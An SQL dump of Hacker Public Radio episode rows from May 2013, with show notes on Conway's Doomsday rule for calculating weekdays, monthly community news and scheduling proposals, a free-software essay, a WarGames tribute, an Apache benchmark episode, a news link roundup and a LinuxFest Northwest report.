(1240,'2013-05-03','Doomsday Rule',2405,'A method of finding the day of the week for any date','<pre>\r\nHPR Episode: Doomsday Perpetual Calendar Method\r\n\r\nWhat is it?  https://en.wikipedia.org/wiki/Doomsday_rule  \r\n  (due to John H. Conway, a mathematician born in Liverpool)\r\n\r\n  * He\'s done other research that hackers might like to check out.  \r\n  * Look up the \"Game of Life\" and \"cellular automata\".  \r\n  * There may be episodes on these topics, but those should come\r\n      with visualization software.\r\n\r\nJohn H. Conway\r\n  https://en.wikipedia.org/wiki/John_Horton_Conway\r\n\r\nGame of Life\r\n  https://en.wikipedia.org/wiki/Conway%27s_Game_of_Life\r\n  \r\n\r\nDoomsday Rule lets you find the day of the week for any date\r\n  * Dates in history, in immediate past or in future are all good.\r\n  * Works for both the Gregorian and Julian calendar.  \r\n    - I\'ll only be looking at Gregorian dates for now.\r\n    - Method should work well for dates from 1800 onward.\r\n    - If dates for non-Gregorian calendars are converted to their\r\n        (extrapolated) Gregorian equivalents, this method works.\r\n\r\nWikipedia entry (includes recent optimization):\r\n  https://en.wikipedia.org/wiki/Doomsday_algorithm\r\n\r\n\r\nWhy do this?  It came up in Episode Zero of my \"N Days\" show on \r\ncalendar counting, where I used it without explanation.\r\n\r\n  https://hackerpublicradio.org/eps.php?id=1143\r\n\r\n\r\nDemos: Check these answers at www.day-calculator.com  \r\n  * Some listeners may now adjourn to the latest Linux Outlaws episode.\r\n\r\n\r\nMethod: Get Century Anchor Day, calculate offset for the year to find\r\n   Doomsday\'s reference location for current year, find closest \r\n   reference date to target date, and count off to the answer.\r\n\r\na) Isaac Newton\'s date of birth: \r\n   - 25 December 1642 - 1600\'s Tuesday. \r\n     Year 42 = 3*12 + 6 and (6/4) = 1. \r\n     Hence 3 + 6 + 1 = 10 for an offset of 3.\r\n     Tuesday + 3 = Friday.  12/12 is Friday, so 12/26 is Friday\r\n     Newton was born 12/25, so that was a Thursday\r\n\r\nb) My grandfather\'s date of birth:\r\n   - 20 January 1898 - 1800\'s anchor is Friday.  \r\n     Year 98 = 8*12 + 2, (2/4) = 0.  \r\n     So 8 + 2 + 0 = 10 gives an offset of 3.\r\n\r\n   - 1898 wasn\'t a leap year, so 10 January was Monday \r\n   - That means 17 January was a Monday, too.\r\n   - So 20 January 1898 was a Thursday.\r\n\r\nc) A wedding anniversary that I like to remember: 15 May 2000\r\n   - 2000 has anchor day on Tuesday, and no offset.\r\n   - Rule: \"I work 9 to 5 at 7-11\", so 9 May (16 May) are on Tuesday.\r\n   - 15 May 2000 was a Monday.  True.  \'Twas the day after Mother\'s Day.\r\n   \r\nd) My parent\'s wedding day: 19 May 1957\r\n   - 1900 has anchor day Wednesday.  57 = 4*12 + 9 and (9/4) = 2. \r\n   - So 4 + 9 + 2 = 15 or an offset of 1.\r\n   - 9 May is Thursday, as is 16 May.  The 19th is 3 days later.\r\n   - So 19 May 1957 was a Sunday.\r\n\r\n\r\nPlan: I\'m going to reveal the magic behind this, and introduce some \r\nmental shortcuts to help you learn to do this in your head.  \r\n\r\nIf you can master the 12\'s row in your times tables up to 8 times 12, \r\nand the 4\'s row up the 20s or 30s, and you can tell time on a 12-hour \r\nclock, you should be able to do this.  \r\n\r\nWe\'re not in school, so paper and pencil to track the numbers, and \r\nfinger-counting offsets to days of the week are all allowed. \r\n\r\n\r\nExplanation:\r\n1. Certain memorable dates fall on the same day of the week as\r\n   \"Doomsday\" = last day of February, whatever that is.\r\n\r\n2. Dates recycle every 400 years, and Doomsday Anchor dates by Century\r\n   are 1600: Tuesday, 1700: Sunday, 1800: Friday, 1900: Wednesday.\r\n\r\n3. That\'s enough, but to simplify mental math notice 12-year cycles.\r\n   - Every completed 12 years pushes the days of the week ahead by +1\r\n   - Each year within the current incomplete cycle adds +1\r\n   - Each leap year in current cycle adds +1 (including current year) \r\n\r\n4. Doomsday dates are:\r\n   a. January 10 and Doomsday (last day of February)\r\n   \r\n   b. Odd months: Add +4 through July, then subtract 4.\r\n      7 March, 9 May, 11 July\r\n      5 September, 7 November\r\n   \r\n   c. Even months are reflexive: 4/4, 6/6, 8/8, 10/10, 12/12\r\n\r\n\r\nSee the attached spreadsheets for examples and annotated calculations.\r\n\r\n - LibreOffice Calc: 229-Charles-in-NJ-Doomsday-Rule-v1.ods\r\n \r\n - Excel 5/95 \'xls\' for LibreOffice or Gnumeric:\r\n     229-Charles-in-NJ-Doomsday-Rule.xls\r\n \r\n - Gnumeric: 229-Charles-in-NJ-Doomsday-Rule-v1.gnumeric\r\n\r\n\r\nBonus Content:\r\n - Excel VBA module: 229-Charles-in-NJ-Doomsday-Rule.vbaxl.bas \r\n     * Import the .bas module\r\n     * Input is an Excel \"Date\" object\r\n     * Very proprietary formats and code, but some people use it.\r\n \r\n - Python:  doomsday.py\r\n     * Contains two functions:  Each returns a string value for the day\r\n          of the week, e.g., \"Sunday\"\r\n       \r\n       dayOfWeek(year, month, day): Doomsday is last day of February,\r\n          and the (month, day) are converted to relative ordinal dates.\r\n          For leap years, we have to push both Doomsday and any target\r\n          date after 28 February up by one for the leap day.\r\n       \r\n       dayOfWeek2(year, month, day): Doomsday date anchors are computed\r\n           for each month, so leap years require adjustments to the\r\n           anchors for January and February to account for the shift\r\n           in the February ending date.  Later months are fine.\r\n\r\n - Script for GNU \'bc\': doomsday.bc is a bc \'port\' of the Python code\r\n     * Differences: Return value is a number from 0-6 that represents\r\n         the day of the week by its relative position.\r\n         \r\n       0 = Sunday, 1 = Monday, 2 = Tuesday, 3 = Wednesday, \r\n       4 = Thursday, 5 = Friday, 6 = Saturday\r\n \r\n     * In a shell, run \'bc\' with the filename as an argument:\r\n       catintp@Derringer:~$  bc doomsday.bc\r\n       \r\n       - This loads the two functions in the file.  You can invoke them\r\n           within \'bc\' like any other function:\r\n           \r\n       dayofweek(1981, 5, 15)\r\n       dayofweek2(1642, 12, 25)\r\n       dayofweek(2013, 11, 22)\r\n       dayofweek2(2059, 5, 19)\r\n\r\n - Alternate Script for GNU \'bc\': doomsday2.bc \r\n     * Return value is still a number from 0-6 that represents\r\n         the day of the week by its relative position.\r\n     \r\n     * Uses a side effect to print a human-friendly answer.   \r\n     \r\n     * English only, but localisation should be easy.\r\n</pre>\r\n\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr1240/20130401T171122Z_229_Charles_in_NJ_Doomsday_Rule.zip\">https://hackerpublicradio.org/eps/hpr1240/20130401T171122Z_229_Charles_in_NJ_Doomsday_Rule.zip</a></li>\r\n\r\n<li><a href=\"https://en.wikipedia.org/wiki/Doomsday_rule\">https://en.wikipedia.org/wiki/Doomsday_rule</a>  \r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/John_Horton_Conway\">https://en.wikipedia.org/wiki/John_Horton_Conway</a>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Conway%27s_Game_of_Life\">https://en.wikipedia.org/wiki/Conway%27s_Game_of_Life</a>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Doomsday_algorithm\">https://en.wikipedia.org/wiki/Doomsday_algorithm</a>\r\n</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1143\">https://hackerpublicradio.org/eps.php?id=1143</a>\r\n</li>\r\n<li><a href=\"https://www.day-calculator.com\">https://www.day-calculator.com</a>  \r\n</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr1240/229-Charles-in-NJ-Doomsday-Rule-v1.ods\">https://hackerpublicradio.org/eps/hpr1240/229-Charles-in-NJ-Doomsday-Rule-v1.ods</a>\r\n</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr1240/229-Charles-in-NJ-Doomsday-Rule-v1.xls\">https://hackerpublicradio.org/eps/hpr1240/229-Charles-in-NJ-Doomsday-Rule-v1.xls</a>\r\n</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr1240/229-Charles-in-NJ-Doomsday-Rule-v1.gnumeric\">https://hackerpublicradio.org/eps/hpr1240/229-Charles-in-NJ-Doomsday-Rule-v1.gnumeric</a>\r\n</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr1240/229-Charles-in-NJ-Doomsday-Rule.vbaxl.bas\">https://hackerpublicradio.org/eps/hpr1240/229-Charles-in-NJ-Doomsday-Rule.vbaxl.bas</a> \r\n</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr1240/doomsday.py\">https://hackerpublicradio.org/eps/hpr1240/doomsday.py</a>\r\n</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr1240/doomsday.bc\">https://hackerpublicradio.org/eps/hpr1240/doomsday.bc</a>\r\n</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr1240/doomsday.bc\">https://hackerpublicradio.org/eps/hpr1240/doomsday.bc</a>\r\n</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr1240/doomsday2.bc\">https://hackerpublicradio.org/eps/hpr1240/doomsday2.bc</a> \r\n<p></p>\r\n</li>\r\n</ul>\r\n',229,0,0,'CC-BY-SA','calendar,\"day of week\",\"John H. Conway\",\"Doomsday rule\"',0,1896,1),
(1241,'2013-05-06','HPR Community News for April 2013',5579,'HPR Community News for April 2013','<h2>New hosts</h2>\r\n<p>\r\nWelcome to our new hosts: \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=242\">Russ Wenner</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\">Jezra</a>, and\r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=244\">Helvetin</a>.\r\n</p>\r\n\r\n<h2>Show Review</h2>\r\n<table>\r\n<thead><tr>\r\n<th>id\r\n</th><th>title\r\n</th><th>host\r\n</th></tr>\r\n</thead>\r\n        <tbody>\r\n\r\n<tr><td>1219</td>\r\n<td  >The Care and Feeding of the Flintlock Muzzleloading Rifle</td>\r\n<td  >Russ Wenner</td>\r\n</tr>\r\n            \r\n<tr><td>1220</td>\r\n<td  >Cinnarch 64 bit, Installation Review</td>\r\n<td  >FiftyOneFifty</td>\r\n</tr>\r\n            \r\n<tr><td>1221</td>\r\n<td  >TGTM Newscast 93 for 2013-04-02 DeepGeek and Dann Washko </td>\r\n<td  >Tgtm News Team</td>\r\n</tr>\r\n            \r\n<tr><td>1222</td>\r\n<td  >LiTS 027: mathematical commands</td>\r\n<td  >Dann</td>\r\n</tr>\r\n            \r\n<tr><td>1223</td>\r\n<td  >How I got into linux</td>\r\n<td  >Jezra</td>\r\n</tr>\r\n            \r\n<tr><td>1224</td>\r\n<td  >Podio Book Report on Jake Bible\'s &quot;Dead Mech&quot;</td>\r\n<td  >FiftyOneFifty</td>\r\n</tr>\r\n            \r\n<tr><td>1225</td>\r\n<td  > Modern Survivalism Part 2</td>\r\n<td  >Tracy Holz_Holzster</td>\r\n</tr>\r\n            \r\n<tr><td>1226</td>\r\n<td  >TGTM Newscast for 2013-04-09 DeepGeek &amp; Pokey</td>\r\n<td  >Tgtm News Team</td>\r\n</tr>\r\n            \r\n<tr><td>1227</td>\r\n<td  >Not-A-Con interview</td>\r\n<td  >mordancy</td>\r\n</tr>\r\n            \r\n<tr><td>1228</td>\r\n<td  >Utilizing Maximum Space on a Cloned BTRFS Partition</td>\r\n<td  >FiftyOneFifty</td>\r\n</tr>\r\n            \r\n<tr><td>1229</td>\r\n<td  >Chromebook Acer C7 Review</td>\r\n<td  >Helvetin</td>\r\n</tr>\r\n            \r\n<tr><td>1230</td>\r\n<td  >Google How Could You</td>\r\n<td  >Neodragon</td>\r\n</tr>\r\n            \r\n<tr><td>1231</td>\r\n<td  >TGTM Newscast for 2013-04-16 Bobobex</td>\r\n<td  >Tgtm News Team</td>\r\n</tr>\r\n            \r\n<tr><td>1232</td>\r\n<td  >LiTS 028: extended attributes</td>\r\n<td  >Dann</td>\r\n</tr>\r\n            \r\n<tr><td>1233</td>\r\n<td  >Playing Ingress</td>\r\n<td  >Epicanis</td>\r\n</tr>\r\n            \r\n<tr><td>1234</td>\r\n<td  >fightcodegame.com</td>\r\n<td  >Mike Hingley</td>\r\n</tr>\r\n            \r\n<tr><td>1235</td>\r\n<td  >Talk Cyberpunk To Me</td>\r\n<td  >sigflup</td>\r\n</tr>\r\n            \r\n</tbody>\r\n</table>\r\n\r\n<pre>\r\nI would like to suggest the following amendments to the scheduling\r\nrules detailed below in ALL CAPS bellow:\r\n\r\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\nhttps://hackerpublicradio.org/calendar.php#normal_priority\r\nWe now release shows based on when the hosts last had a show aired.\r\nThis brings new hosts and returning hosts to the top of the queue to\r\nencourage their efforts, and it also spreads out shows submitted in\r\nbatches and gives a wider variety of hosts. Once a host is determined,\r\nthe first show uploaded by that host is released. If you wish your\r\nshows to be released in a particular order then make sure you make that\r\nobvious in the title and by emailing admin@hackerpublicradio.org.\r\nYou can swap the order of the shows but it involves additional effort\r\nand is frowned upon :).\r\nWHERE POSSIBLE WE WILL NOT RELEASE SHOWS FROM THE SAME HOST IN ANY ONE\r\nWEEK.\r\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n\r\nhttps://hackerpublicradio.org/calendar.php#synicated_shows\r\nSyndicated Shows\r\nWe will continue to promote new podcasts and other creative commons\r\nmaterial but due to a lack of slots, we are only releasing material\r\ncreated exclusively for HPR. If there is a piece of creative commons\r\ncontent that you would like to promote, then feel free to record a\r\nregular show where you introduce the content and explain why it is\r\nimportant and providing links to where we can get more information.\r\nTHESE SHOWS CAN BE RELEASED EITHER UNDER YOUR OWN NAME OR UNDER\r\nTHE GENERIC HOST CALLED \"VARIOUS CREATIVE COMMONS WORKS\" (HOSTID <a\r\nhref=\"https://hackerpublicradio.org/correspondents.php?hostid=158\">158</a>)  \r\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n\r\nThe amendment \"WHERE POSSIBLE WE WILL NOT RELEASE SHOWS FROM THE SAME\r\nHOST IN ANY ONE WEEK.\" had been included prior to the changes in\r\nJanuary, but I would like to put it back.\r\n\r\nThe amendment \"THESE SHOWS WILL CAN BE RELEASED EITHER UNDER YOUR\r\nOWN NAME OR UNDER THE GENERIC HOST CALLED \"VARIOUS CREATIVE COMMONS\r\nWORKS\" was discussed in the mail list under the title of \"Various\r\nCreative Commons Works\" but the discussions got derailed. \r\n\r\nPlease keep discussion to these two points only. \r\n\r\nAs always Silence, or no comment is assumed to be approval.\r\n\r\nKen.\r\n\r\nAlso the addition of the following text to the Scheduling Rules: \r\nPlease be aware that we cannot predict when your show will be out, but \r\nsooner of later it will be released. Sometimes a new host will jump to \r\nthe top of the queue, while other hosts seem to be waiting a long time. \r\nThis is because all the shows at HPR are scheduled according to the \r\nScheduling Guidelines, which apply to everyone without exception.\r\n\r\n</pre>\r\n\r\n<h2>On the List</h2>\r\n<ul>\r\n<li>Transfertags complete<br />\r\n<a href=\"https://gitorious.org/hpr-scheduling-system/hpr-scheduling-system/blobs/master/transcoding/transfer_tags\">https://gitorious.org/hpr-scheduling-system/hpr-scheduling-system/blobs/master/transcoding/transfer_tags</a></li>\r\n<li>Shownote cleanup continues</li>\r\n<li>Direction idea for HPR website - XSLT</li>\r\n<li>Catalog of HPR Swag from 123stickers.com<br />\r\n<a\r\nhref=\"https://drive.google.com/folderview?id=0B0VQmm3RmAmeMENUWUl6SmhSdjg&usp=sharing\">https://drive.google.com/folderview?id=0B0VQmm3RmAmeMENUWUl6SmhSdjg&amp;usp=sharing</a>\r\n</li>\r\n<li>How do the postings work? </li>\r\n<li>Android App</li>\r\n<li>HPR topic requests<br />\r\n<a href=\"https://hackerpublicradio.org/contribute.php#requested_topics\">https://hackerpublicradio.org/contribute.php#requested_topics</a></li>\r\n<li>Andriod Application<br />\r\n<a href=\"https://corenominal.org/demo/hpr\">https://corenominal.org/demo/hpr</a></li>\r\n<li>Reports of issues with the FTP server</li>\r\n<li>Aaron Swartz In Memoriam</li>\r\n<li>Removing the dev mail list</li>\r\n<li>Show upload form/ATOM feed/Opus questions...<br />\r\n<a href=\"https://blinky.dogphilosophy.net/atomtest.xml\">https://blinky.dogphilosophy.net/atomtest.xml</a></li>\r\n<li>Multiple host uploads</li>\r\n<li>Adding a list of \"promised shows\"</li>\r\n<li>Various Creative Commons Works/ Is there a backlog or not<br />\r\nTo hide the actual number of shows, Not the hacker ethic<br />\r\nShould there be regular backup and a end of the line\r\n</li>\r\n<li>Think about how we should rotate the HPR lead role</li>\r\n</ul>\r\n\r\n\r\n<h2>Todo List</h2>\r\n<h3>New</h3>\r\n<ul>\r\n<li>Show Flow Rate/Average wait times</li>\r\n<li>Android App</li>\r\n<li>Crediting multiple hosts</li>\r\n</ul>\r\n<h3>Processing</h3>\r\n<ul>\r\n<li>Securing the website</li>\r\n<li>Upload Form</li>\r\n<li>Fixing broken links</li>\r\n<li>Fixing broken HTML/Converting to HTML5/CSS3</li>\r\n<li>thelinuxlink.pl</li>\r\n</ul>\r\n<h3>Done</h3>\r\n<ul>\r\n<li>DB support for summary and tags</li>\r\n<li>Move FTP Server internally, add new links to readme and sample show notes<br />\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/contribute.php\">https://hackerpublicradio.org/contribute.php</a>\r\n</li>\r\n<li><a href=\"https://hackerpublicradio.org/sample_shownotes.html\">https://hackerpublicradio.org/sample_shownotes.html</a>\r\n</li>\r\n<li><a href=\"https://hackerpublicradio.org/README.txt\">https://hackerpublicradio.org/README.txt</a>\r\n</li>\r\n</ul>\r\n</li>\r\n<li>Search options</li>\r\n<li>Introduction of show Tags</li>\r\n<li>Automatic tagging of media files</li>\r\n</ul>\r\n<h3>To Do</h3>\r\n<ul>\r\n<li>Automate the presentation</li>\r\n<li>Introduction to HPR video</li>\r\n<li>Add ATOM Feed</li>\r\n<li>Opus Support</li>\r\n<li>Events Page</li>\r\n<li>Twitter/Identi.CA Feed</li>\r\n<li>Upload to Archive.org</li>\r\n<li>Automating media upload, identification and transcoding</li>\r\n</ul>\r\n\r\n<h2>Events</h2>\r\n<ul>\r\n    <li>sigflup: Notacon April 18-21, 2013, Hilton Garden Inn in Downtown Cleveland <a href=\"https://www.notacon.org/event-information-2/\">https://www.notacon.org/event-information-2/</a></li>\r\n    <li>OCPLive May 27 Memorial Day Weekend Philadelphia <a href=\"https://ocplive.com/\">https://ocplive.com/</a></li>\r\n</ul>\r\n\r\n\r\n<h2>We would like more backup shows</h2>\r\n<p>\r\nThere are 32 shows in the queue from 13 hosts. Consider contributing a show. <a href=\"https://hackerpublicradio.org/calendar.php\">https://hackerpublicradio.org/calendar.php</a>\r\n</p>\r\n',159,47,1,'CC-BY-SA','Community News',0,1753,1),
(1242,'2013-05-07','What\'s Wrong With Free, Anyway?',1398,'Free of Charge versus Free as in Freedom','<p>In looking at the distinction between free of charge and free as in freedom, some interesting issues emerge. I argue that free of charge is often not what we should be looking for if we want good software options. But because I like going the long way around behind the barn to get anywhere, I start off in the Music business.</p>\r\n<p>Links to things I mentioned</p>\r\n<ul>\r\n<li><a href=\"https://lefsetz.com/wordpress/\">The Lefsetz Letter</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=xMj_P_6H69g\">Amanda Palmer\'s TED Talk</a></li>\r\n</ul>\r\n</br>\r\n<p>My web site is at <a href=\"https://www.zwilnik.com/\">https://www.zwilnik.com/</a>.</p>\r\n</br>\r\n<p>Remember to support free software!</p>\r\n',198,0,0,'CC-BY-SA','Apps,software,market',0,1910,1),
(1243,'2013-05-08','Wargames Anniversary',325,'The film is 30 years old','<p>\r\nWargames is 30 years old, this is my tribute to one of my favourite films.<br />\r\nSome text taken from <a href=\"https://en.wikipedia.org/wiki/WarGames\">Wikipedia page for the film</a> CC-BY-SA<br />\r\nModem sound from Freesound user <a href=\"https://www.freesound.org/people/joedeshon/sounds/80288/\">joedeshon</a> CC-BY\r\n</p>',191,0,0,'CC-BY-SA','movies, nostalgia, modem, AI, 1983',0,1803,1),
(1244,'2013-05-09','LiTS 029: ab - apache benchmark.',1790,'Apache HTTP server benchmarking tool: <em>ab</em>','<p>\r\nThis episode of LITS talks about using Apache Benchmark utility to test \r\nwebsites. Learn how to use  and interpret the results of Apache Benchmark.\r\n</p>\r\n<p>Link to the full episode and video <a href=\"https://www.linuxintheshell.com/2013/05/10/episode-029-ab-apache-benchmark/\">https://www.linuxintheshell.com/2013/05/10/episode-029-ab-apache-benchmark/</a></p>\r\n',7,67,1,'CC-BY-SA','apache,http,benchmark,ab',0,2334,1),
(1245,'2013-05-10','TGTM Newscast for 2013-06-05 for by Dann Washko and DeepGeek',1340,'A newscast from Talk Geek to Me','<p>Here is a news review:</p>\r\n<ul>\r\n<li><a\r\nhref=\"https://peoplesworld.org/gop-senators-push-bill-to-kill-nlrb/\">GOP\r\nsenators push bill to kill NLRB</a>\r\n</li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/pirate-party-enters-icelands-national-parliament-after-historic-election-win-130428/\">Pirate\r\nParty Enters Iceland’s National Parliament After Historic Election Win</a>\r\n</li>\r\n<li><a href=\"https://www.democracynow.org/2013/5/1/headlines#511\">Obama\r\nRenews Guantánamo Closure Vow, Defends Force-Feeding</a>\r\n</li>\r\n<li><a href=\"https://maggiemcneill.wordpress.com/2013/05/02/challenge/\">Challenge</a>\r\n</li>\r\n<li><a href=\"https://inthesetimes.com/article/14873/lean_socialist/\">Lean\r\nSocialist</a>\r\n</li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/pirate-bay-founder-on-trial-next-month-facing-societal-damage-claims-130429/\">Pirate\r\nBay Founder on Trial Next Month Facing Societal Damage Claims</a>\r\n</li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/mpaa-executive-tampered-with-ifpi-evidence-in-internet-piracy-case-130427/\">MPAA\r\nExecutive Tampered With IFPI Evidence in Internet Piracy Case</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.eff.org/deeplinks/2013/05/eff-federal-judge-dont-let-dmca-be-tool-censorship\">EFF\r\nto Federal Judge: Don’t Let the DMCA be a Tool for Censorship</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.eff.org/deeplinks/2013/04/tpp-biggest-global-threat-internet-acta\">What\r\nIs TPP? Biggest Global Threat to the Internet Since ACTA</a>\r\n</li>\r\n<li><a href=\"https://www.hiawatha-webserver.org/weblog/55\">Hiawatha\r\n9.1 has been released</a>\r\n</li>\r\n</ul>\r\n<p>Other Headlines:</p>\r\n<ul>\r\n<li><a\r\nhref=\"https://nymag.com/daily/intelligencer/2013/04/brooklyn-anarchist-refuses-to-testify-in-bombing.html\">Brooklyn\r\nAnarchist Refusing to Play Along With the System</a>\r\n</li>\r\n<li><a href=\"https://www.web.gpnys.com/?p=12452\">Green Party Accuses\r\nCuomo of Unconstitutional Attacks on Political Parties</a>\r\n</li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1635\">Why We Need to\r\nUnderstand the Apocalyptic Worldview of a Small Group of Radical Muslims</a>\r\n</li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/reflections-on-icelands-election-of-pirate-mps-130428/\">Reflections\r\non Iceland’s Election of Pirate MPs</a>\r\n</li>\r\n<li><a href=\"https://www.havanatimes.org/?p=92316\">Cuba: Viable\r\nSocialism &amp; Chavez at May Day Parades </a>\r\n</li>\r\n</ul>\r\n<p>Staffed and produced by the TGTM news team, Editorial Selection by\r\nDeepGeek, views of the story\r\nauthors reflect their own opinions and not necessarily those of TGTM\r\nnews.\r\n</p>\r\n<p>\r\nNews from \"maggiemcneill.wordpress.com,\"&nbsp; \"inthesetimes.com,\"\r\nand\r\n\"hiawatha-webserver.org\" used\r\nunder&nbsp;arranged\r\npermission.</p>\r\n<p>News\r\nfrom \"torrentfreak.com,\" and \"eff.org\" used\r\nunder\r\npermission of the Creative Commons\r\nby-attribution&nbsp;license.</p>\r\n<p>News from \"democracynow.org,\" and\r\n\"peoplesworld.org\" used under permission of the Creative Commons\r\nby-attribution non-commercial no-derivatives license.<br />\r\n</p>\r\n<p>News Sources retain their respective copyrights.</p>\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://peoplesworld.org/gop-senators-push-bill-to-kill-nlrb/\">https://peoplesworld.org/gop-senators-push-bill-to-kill-nlrb/</a></li>\r\n<li><a href=\"https://torrentfreak.com/pirate-party-enters-icelands-national-parliament-after-historic-election-win-130428/\">https://torrentfreak.com/pirate-party-enters-icelands-national-parliament-after-historic-election-win-130428/</a></li>\r\n<li><a href=\"https://www.democracynow.org/2013/5/1/headlines#511\">https://www.democracynow.org/2013/5/1/headlines#511</a></li>\r\n<li><a href=\"https://maggiemcneill.wordpress.com/2013/05/02/challenge/\">https://maggiemcneill.wordpress.com/2013/05/02/challenge/</a></li>\r\n<li><a href=\"https://inthesetimes.com/article/14873/lean_socialist/\">https://inthesetimes.com/article/14873/lean_socialist/</a></li>\r\n<li><a href=\"https://torrentfreak.com/pirate-bay-founder-on-trial-next-month-facing-societal-damage-claims-130429/\">https://torrentfreak.com/pirate-bay-founder-on-trial-next-month-facing-societal-damage-claims-130429/</a></li>\r\n<li><a href=\"https://torrentfreak.com/mpaa-executive-tampered-with-ifpi-evidence-in-internet-piracy-case-130427/\">https://torrentfreak.com/mpaa-executive-tampered-with-ifpi-evidence-in-internet-piracy-case-130427/</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2013/05/eff-federal-judge-dont-let-dmca-be-tool-censorship\">https://www.eff.org/deeplinks/2013/05/eff-federal-judge-dont-let-dmca-be-tool-censorship</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2013/04/tpp-biggest-global-threat-internet-acta\">https://www.eff.org/deeplinks/2013/04/tpp-biggest-global-threat-internet-acta</a></li>\r\n<li><a href=\"https://www.hiawatha-webserver.org/weblog/55\">https://www.hiawatha-webserver.org/weblog/55</a></li>\r\n<li><a href=\"https://nymag.com/daily/intelligencer/2013/04/brooklyn-anarchist-refuses-to-testify-in-bombing.html\">https://nymag.com/daily/intelligencer/2013/04/brooklyn-anarchist-refuses-to-testify-in-bombing.html</a></li>\r\n<li><a href=\"https://www.web.gpnys.com/?p=12452\">https://www.web.gpnys.com/?p=12452</a></li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1635\">https://sacsis.org.za/site/article/1635</a></li>\r\n<li><a href=\"https://torrentfreak.com/reflections-on-icelands-election-of-pirate-mps-130428/\">https://torrentfreak.com/reflections-on-icelands-election-of-pirate-mps-130428/</a></li>\r\n<li><a href=\"https://www.havanatimes.org/?p=92316\">https://www.havanatimes.org/?p=92316</a></li>\r\n</ul>',237,65,1,'CC-BY-SA','newscast,TGTM',0,1865,1),
(1246,'2013-05-13','David Whitman On Location at LinuxFest Northwest',3738,'Our correspondent reports from LFNW','<!-- Scheduled under #2 Reserved Slots - Representing HPR at a show -->\r\n\r\n<p>\r\nLFNW Garage Sale Booth - old computer stuff sold to support the fest <a href=\"https://linuxfestnorthwest.org\">https://linuxfestnorthwest.org</a>\r\n</p>\r\n<p>\r\nBill Wright at the LFNW World Famous Raffle <a href=\"https://linuxfestnorthwest.org\">https://linuxfestnorthwest.org</a>\r\n</p>\r\n<p>\r\nEFF / TOR Table -<a href=\"https://www.eff.org\">https://www.eff.org</a> <a href=\"https://www.torproject.org/\">https://www.torproject.org/</a>\r\n</p>\r\n<p>\r\nDW does a cheesy Lightning Talk about HPR.\r\n</p>\r\n<p>\r\nMartin Obando <a href=\"https://www.obandocomputing.com\">https://www.obandocomputing.com</a>\r\n</p>\r\n<p>\r\nMozilla <a href=\"https://mozilla.com/\">https://mozilla.com/</a>\r\n</p>\r\n<p>\r\nLarry the Crunchbang guy <a href=\"https://www.crunchbang.org/\">https://www.crunchbang.org/</a>\r\n</p>\r\n<p>\r\nOrangeFS Amy Cannon  <a href=\"https://orangefs.org/\">https://orangefs.org/</a>\r\n</p>\r\n<p>\r\nDice.com Nathan James <a href=\"https://www.Dice.com\">www.Dice.com</a>\r\n</p>\r\n<p>\r\nLinux Automation - Beer! <a href=\"https://www.linuxautomation.org/\">https://www.linuxautomation.org/</a>\r\n</p>\r\n<p>\r\nFedora Project <a href=\"https://fedoraproject.org/\">https://fedoraproject.org/</a>\r\n</p>\r\n<p>\r\niSEC Partners <a href=\"https://www.isecpartners.com/\">https://www.isecpartners.com/</a>\r\n</p>\r\n<p>\r\nAcquia <a href=\"https://www.acquia.com/\">https://www.acquia.com/</a>\r\n</p>\r\n<p>\r\nLinode <a href=\"https://www.linode.com/\">https://www.linode.com/</a>\r\n</p>\r\n<p>\r\nOpenBSD <a href=\"https://www.openbsd.org/\">https://www.openbsd.org/</a>\r\n</p>\r\n<p>\r\nFree Software Foundation <a href=\"https://www.fsf.org\">www.fsf.org</a>\r\n</p>\r\n<p>\r\nLinux Professional Institute <a href=\"https://www.lpi.org\">www.lpi.org</a>\r\n</p>\r\n<p>\r\nGSLUG <a href=\"https://gslug.org/\">https://gslug.org/</a>\r\nUbuntu Washington <a href=\"https://loco.ubuntu.com/teams/ubuntu-washington/\">https://loco.ubuntu.com/teams/ubuntu-washington/</a>\r\nKDE <a href=\"https://www.kde.org\">www.kde.org</a>\r\n</p>\r\n',209,0,1,'CC-BY-SA','\"LinuxFest Northwest\",LFNW',0,1733,1),
